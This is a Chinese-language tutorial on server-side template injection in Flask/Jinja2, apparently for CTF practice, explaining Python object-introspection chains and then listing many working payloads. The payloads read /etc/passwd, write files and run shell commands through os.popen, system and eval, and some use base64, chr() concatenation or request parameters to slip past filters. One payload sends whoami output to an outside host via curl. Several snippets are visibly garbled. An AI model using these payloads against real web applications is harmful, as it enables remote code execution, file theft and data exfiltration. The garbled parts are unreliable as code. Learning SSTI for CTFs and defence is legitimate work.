SSTI和SQL注入原理差不多,都是因为对输入的字符串控制不足,把输入的字符串当成命令执行。
render_template渲染函数的问题
就是把HTML涉及的页面与用户数据分离开,这样方便展示和管理。当用户输入自己的数据信息,HTML页面可以根据用户自身的信息来展示页面,因此才有了这个函数的使用。
渲染函数在渲染的时候,往往对用户输入的变量不做渲染,
即:{ {}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{ {}}包裹的内容当做变量解析替换。比如{ {1+1}}会被解析成2。因此才有了现在的模板注入漏洞。往往变量我们使用{ {这里是内容}}
真因为{ {}}包裹的东西会被解析,因此我们就可以实现类似于SQL注入的漏洞
用函数不断调用我们要使用的命令如:file、read、open、ls等等命令,我们用这些来读取写入配置文件;
__class__ :返回类型所属的对象
__mro__ :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ "返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 获取当前类的所有子类
__init__ 类的初始化方法
__globals__ 对包含(保存)函数全局变量的字典的引用
我们在里面运行以下:
>>> [].__class__
>>> [].__class__.__base__
>>> [].__class__.__base__.__subclasses__()
>>> [].__class__.__base__.__subclasses__()[2]
>>>
解读一下:
class返回[]所属的对象;
class+base:返回这个对象所继承的基类
class+base+subclasses:找到了这个对象的基类,那么就返回这个基类下所具有的子类
这就是一个具有[]的对象继承的基类的所有子类,在这里面我们不乏可以找到我们要用的子类如前文所提到的:file、open等等。
那么既然我们要用SSTI去做些事情,那么我们就要用到这些子类呗。
>>> [].__class__.__base__.__subclasses__()[2]
>>> [].__class__.__base__.__subclasses__()[3]
>>> [].__class__.__base__.__subclasses__()[40]
这样我们就可以调用这些子类了
2.
假如我们要去查看某个网页获取flag,那么我们用file函数:(file 在PT2里面还可以使用,在PY3里面已经被移除了)
[].__class__.__base__.__subclasses__()[40]('fl4g').read()
但是如果我们想要去获取目录等等,就需要用到system函数:读取目录一般是ls函数,那么我们来看看如何调用
!/usr/bin/env python
encoding: utf-8
num = 0
for item in ''.__class__.__mro__[2].__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print num,item
num+=1
except:
print '-'
num+=1
得到类中OS模块的函数(71)
().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
(os.listdir():列出第一层目录文件
因为71是os库的函数,所以globals是对该函数字典的引用,所以我们这下就拿到了字典,然后紧接着就是我们要使用的命令。)
有时候system函数会被过滤掉,我们就使用
().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.') #读取本级目录
dir()是一个函数,返回的是list;
__dict__是一个字典,键为属性名,值为属性值;
dir()返回所有的属性,而__dict__返回的是非父类的键与对应的值。
获得基类
#python2.7
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python3.7
''.__。。。class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python 2.7
#文件操作
#找到file类
[].__class__.__bases__[0].__subclasses__()[40]
#读文件
[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
#写文件
[].__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test')
#命令执行
#os执行
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache下有os类,可以直接执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
#eval,impoer等全局函数
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__下有eval,__import__等的全局函数,可以利用此来执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
#python3.7
#命令执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{
{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{
{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
#windows下的os命令
"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read()
…init__globals[‘os’].system(‘ls’)的输出是执行结果的返回值,而不是执行命令的输出,成功执行返回0,失败返回-1,因为输出结果不明显,所以我们也会用到下面这个命令:
用法:os.popen(command[,mode[,bufsize]])
eg:{ {()class.base.subclass__()[71].init.globlas__[‘os’].popen(‘ls’,‘r’).read()}}
说明:mode – 模式权限可以是 ‘r’(默认) 或 ‘w’。
init.globals__[‘os’].popen(‘ls’,‘r’),read()
popen方法通过p.read()获取终端输出,而且popen需要关闭close().当执行成功时,close()不返回任何值,失败时,close()返回系统返回值(失败返回1). 可见它获取返回值的方式和os.system不同。
缺点:Popen非常强大,支持多种参数和模式,通过其构造函数可以看到支持很多参数。但Popen函数存在缺陷在于,它是一个阻塞的方法,如果运行cmd命令时产生内容非常多,函数就容易阻塞。另一点,Popen方法也不会打印出cmd的执行信息
访问os模块还有从warnings.catchwarnings模块入手的,而这两个模块分别位于元组中的59,60号元素。__init__方法用于将对象实例化,在这个函数下我们可以通过funcglobals(或者__globals
)看该模块下有哪些globals函数(注意返回的是字典),而linecache可用于读取任意一个文件的某一行,而这个函数引用了os模块。
于是还可以挖掘到类似payload(注意payload都不是直接套用的,不同环境请自行测试)
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')
作用:返回字典中的所有值。
使用:
#!/usr/bin/python
dict = {'Name': 'Zara', 'Age': 7}
print "Value : %s" % dict.values()
以上实例输出结果为:
Value : [7, 'Zara']
内建函数就是本身就有的,启动的时候python解释器就会自动解析,内建函数里面包括了许多
内建函数里面有我们需要的eval函数,可以执行命令
'.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.values()[13]['eval']('__import__("os").popen("ls").read()')
这两个payload用的是同一个模块,__builtins__模块,eval方法.
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].popen('ls').read()
但是经常会被ban
object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read()
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")
等价于
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))(可以看出单双引号内的都可以编码)
同理还可以进行rot13、16进制编码等
getitem()
"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)
pop()
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
字典读取
__builtins__['eval']()
__builtins__.eval()
经过测试这种方法在python解释器里不能执行,但是在测试的题目环境下可以执行
先获取chr函数,赋值给chr,后面拼接字符串
{% set
chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr
%}{
{
().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()
}}
或者借助request对象:(这种方法在沙盒种不行,在web下才行,因为需要传参)
{
{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd
PS:将其中的request.args改为request.values则利用post的方式进行传参
执行命令:
{% set
chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr
%}{
{
().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read()
}}
{
{
().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read()
}}&cmd=id
{
{
''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read()
}}&class=__class__&mro=__mro__&subclasses=__subclasses__
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %}
{%这是内容%}
eg:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='file' %}
{
{ c("/etc/passwd").readlines() }}
{% endif %}
{% endfor %}
看到这里如果学有余力,可以看一看SSTI进阶部分 文章